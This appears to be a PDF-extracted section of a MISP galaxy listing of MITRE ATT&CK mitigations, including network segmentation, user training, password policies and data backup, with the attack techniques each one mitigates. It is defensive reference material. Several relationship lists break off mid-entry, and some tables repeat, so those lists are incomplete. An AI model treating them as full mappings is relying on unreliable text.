Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Configure separate virtual private cloud (VPC) instances to isolate critical cloud systems.

The tag is: `misp-galaxy:mitre-course-of-action="Network Segmentation - M1030"`

View relationships graph

Network Segmentation - M1030 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"


| Table 6202. Table References |
| Links                       |
| https://attack.mitre.org/mitigations/M1030 |

**Application Vetting - M1005**

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Evade Analysis Environment] (https://attack.mitre.org/techniques/T1523) exist that can enable adversaries to bypass vetting.

The tag is: misp-galaxy:mitre-course-of-action="Application Vetting - M1005"
Exploit Protection - M1050

Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.

The tag is: `misp-galaxy:mitre-course-of-action="Exploit Protection - M1050"`

View relationships graph

Exploit Protection - M1050 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with estimative-language:likelihood-probability="almost-certain"

Table 6204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1050">https://attack.mitre.org/mitigations/M1050</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1050">https://attack.mitre.org/mitigations/M1050</a></td>
</tr>
</tbody>
</table>

3037
User Guidance - M1011

Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

The tag is: misp-galaxy:mitre-course-of-action="User Guidance - M1011"

View relationships graph

User Guidance - M1011 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1630" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Protected User Data - T1636" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1627" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1658" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1632" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Device Management Services - T1430.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Data Destruction - T1662" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1660" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Geofencing - T1627.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1642" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1655" with estimative-language:likelihood-probability="almost-certain"


Table 6205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1011">https://attack.mitre.org/mitigations/M1011</a></td>
</tr>
</tbody>
</table>

Enterprise Policy - M1012

An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.

The tag is: misp-galaxy:mitre-course-of-action="Enterprise Policy - M1012"

View relationships graph

Enterprise Policy - M1012 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1663" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1629" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1428" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Application Versioning - T1661" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"
• mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Subvert Trust Controls - T1632" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Remote Device Management Services - T1430.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"


Table 6206. Table References

Links

https://attack.mitre.org/mitigations/M1012

Interconnection Filtering - M1014

In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).

The tag is: misp-galaxy:mitre-course-of-action="Interconnection Filtering - M1014"

View relationships graph

Interconnection Filtering - M1014 has relationships with:

• mitigates: misp-galaxy:mitre-attack-pattern="Impersonate SS7 Nodes - T1430.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
Rootkit Mitigation - T1014

Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Rootkit Mitigation - T1014"

Update Software - M1051

Perform regular software updates to mitigate exploitation risk.

The tag is: misp-galaxy:mitre-course-of-action="Update Software - M1051"

Update Software - M1051 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-

mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Outlook Rules - T1137.005" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Pre-OS Boot - T1542" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"


mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
Vulnerability Scanning - M1016

Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.

The tag is: `misp-galaxy:mitre-course-of-action="Vulnerability Scanning - M1016"`

Table 6209. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1051">https://attack.mitre.org/mitigations/M1051</a></td>
</tr>
</tbody>
</table>

Vulnerability Scanning - M1016 has relationships with:

- `mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"`
• mitigates: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

Table 6210. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1016">https://attack.mitre.org/mitigations/M1016</a></td>
</tr>
</tbody>
</table>

**Mshta Mitigation - T1170**

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Mshta Mitigation - T1170"

Table 6211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1170">https://attack.mitre.org/mitigations/T1170</a></td>
</tr>
</tbody>
</table>

**User Training - M1017**

Train users to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.

The tag is: misp-galaxy:mitre-course-of-action="User Training - M1017"

View relationships graph

User Training - M1017 has relationships with:


• mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-
• mitigates: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Voice - T1598.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Confluence - T1213.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Financial Theft - T1657" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"


• mitigates: misp-galaxy:mitre-attack-pattern="Chat Messages - T1552.008" with estimative-
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impersonation - T1656" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing for Information - T1598" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Service - T1598.001" with
Screensaver Mitigation - T1180

Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)

The tag is: misp-galaxy:mitre-course-of-action="Screensaver Mitigation - T1180"

Rundll32 Mitigation - T1085

Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)

The tag is: misp-galaxy:mitre-course-of-action="Rundll32 Mitigation - T1085"

Hypervisor Mitigation - T1062

Prevent adversary access to privileged accounts necessary to install a hypervisor.

The tag is: misp-galaxy:mitre-course-of-action="Hypervisor Mitigation - T1062"
DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: 
misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"

Table 6216. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1207">https://attack.mitre.org/mitigations/T1207</a></td>
</tr>
</tbody>
</table>

Password Policies - M1027

Set and enforce secure password policies for accounts.

The tag is: 
misp-galaxy:mitre-course-of-action="Password Policies - M1027"

View relationships graph

Password Policies - M1027 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1555.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Managers - T1555.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"


- mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="/etc/passwd and /etc/shadow - T1003.008" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Reversible Encryption - T1556.005" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 6217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1027">https://attack.mitre.org/mitigations/M1027</a></td>
</tr>
</tbody>
</table>

**Kerberoasting Mitigation - T1208**

Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)

The tag is: `misp-galaxy:mitre-course-of-action="Kerberoasting Mitigation - T1208"`

**Table 6218. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2293">https://adsecurity.org/?p=2293</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/mitigations/T1208">https://attack.mitre.org/mitigations/T1208</a></td>
</tr>
</tbody>
</table>

**Data Backup - M1053**

Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.

The tag is: `misp-galaxy:mitre-course-of-action="Data Backup - M1053"`

**View relationships graph**

Data Backup - M1053 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Disk Wipe - T1561" with estimative-language:likelihood-probability="almost-certain"`
- mitigates: `misp-galaxy:mitre-attack-pattern="Defacement - T1491" with estimative-language:likelihood-probability="almost-certain"`
- mitigates: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"`
- mitigates: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"`
- mitigates: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"`
- mitigates: `misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"`

**Table 6219. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/mitigations/M1053">https://attack.mitre.org/mitigations/M1053</a></td>
</tr>
</tbody>
</table>

3052
Masquerading Mitigation - T1036

When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.

Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Masquerading Mitigation - T1036"

Table 6220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599">http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599</a></td>
</tr>
<tr>
